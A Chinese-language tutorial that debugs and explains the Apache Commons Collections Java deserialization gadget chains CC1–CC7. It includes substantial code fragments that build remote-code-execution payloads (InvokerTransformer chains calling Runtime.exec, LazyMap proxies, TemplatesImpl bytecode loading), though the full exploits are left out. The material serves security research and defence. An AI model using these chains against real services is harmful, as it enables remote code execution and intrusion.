java反序列化CC1-CC7的调试解析
字数 1828 2025-08-20 18:17:59
Java反序列化漏洞利用链(CC1-CC7)调试解析
概述
本文详细解析了Apache Commons Collections库中存在的反序列化漏洞利用链(CC1-CC7),包括各条链的构造原理、调试过程以及实际利用方法。这些漏洞利用链利用了Java反序列化机制和Apache Commons Collections库中的特定类和方法,通过精心构造的序列化数据实现远程代码执行。
CC1链分析
核心原理
CC1链的核心是利用InvokerTransformer类的transform方法进行反射调用:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
// ...
}
}
利用步骤
- 构造命令执行:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);
-
寻找调用链:
TransformedMap.checkSetValue调用了transformAbstractInputCheckedMapDecorator.setValue触发checkSetValue- 通过遍历Map触发
setValue
-
完整利用链:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("a",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(runtime);
}
- 解决Runtime不可序列化问题:
使用ChainedTransformer和ConstantTransformer构造调用链:
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
- 最终EXP:
// 完整代码见原文
关键点
- 需要将Map的key设置为注解类的属性名(如"value")
- JDK 8u71之后修复了
AnnotationInvocationHandler的readObject方法
CC1_LazyMap变种
核心差异
使用LazyMap代替TransformedMap,利用动态代理触发get方法调用。
利用步骤
- 构造LazyMap:
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
- 创建动态代理:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Target.class,lazyMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),
new Class[]{Map.class}, invocationHandler);
- 最终EXP:
// 完整代码见原文
CC6链分析
适用场景
针对JDK 8u71及以上版本,绕过AnnotationInvocationHandler修复。
核心原理
利用TiedMapEntry的getValue调用map.get(),通过hashCode()触发:
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
利用步骤
- 构造调用链:
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"keykey");
HashMap<Object,Object> ser_map = new HashMap();
ser_map.put(tiedMapEntry,"value");
- 解决提前触发问题:
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
// ...
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
lazyMap.remove("keykey");
- 最终EXP:
// 完整代码见原文
无数组改造版
利用加载字节码方式:
TemplatesImpl templates = new TemplatesImpl();
// 设置_bytecodes等字段
Transformer transformer = new InvokerTransformer("toString", null, null);
// ...
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
CC3链分析
核心原理
利用TemplatesImpl类加载字节码实现命令执行。
关键方法
defineTransletClasses()调用defineClass()getTransletInstance()调用defineTransletClasses()newTransformer()调用getTransletInstance()
利用步骤
- 设置TemplatesImpl属性:
TemplatesImpl tmpl = new TemplatesImpl();
Field namefeld = clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld = clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("恶意类路径"));
byte[][] bytecodes = {code};
bytefeld.set(tmpl,bytecodes);
- 恶意类要求:
必须继承AbstractTranslet:
public class test extends AbstractTranslet {
static {
// 恶意代码
}
// 必须实现的方法
}
-
两种调用方式:
- 直接反射调用
newTransformer - 通过
TrAXFilter构造方法触发
- 直接反射调用
-
最终EXP:
// 完整代码见原文
CC2链分析
核心原理
利用PriorityQueue触发TransformingComparator.compare()调用transform()。
利用步骤
- 构造调用链:
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
- 最终EXP:
// 完整代码见原文
无数组改造版
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
setFieldValue(transformer, "iMethodName", "newTransformer");
CC4链分析
核心原理
结合CC2的入口和CC3的TrAXFilter加载字节码方式。
最终EXP
// 完整代码见原文
CC5链分析
核心原理
利用BadAttributeValueExpException的readObject触发toString。
利用步骤
- 构造调用链:
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
Field val = obj.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(obj,tiedMapEntry);
- 最终EXP:
// 完整代码见原文
CC7链分析
核心原理
利用Hashtable触发LazyMap的调用链。
利用步骤
- 构造两个LazyMap:
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
- 放入Hashtable:
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
- 最终EXP:
// 完整代码见原文
总结
- 核心思路:利用Java反序列化机制和Apache Commons Collections中的可序列化类构造调用链
- 关键类:
InvokerTransformer:反射调用任意方法ChainedTransformer:链式调用多个TransformerTransformedMap/LazyMap:触发transform/get调用TemplatesImpl:加载字节码实现命令执行
- 适用场景:
- CC1/CC1_LazyMap:低版本JDK
- CC6:高版本JDK绕过
- CC3/CC4:字节码加载方式
- CC5/CC7:特殊入口点利用
通过深入理解这些利用链的构造原理,可以帮助安全研究人员更好地分析Java反序列化漏洞,并开发相应的防护措施。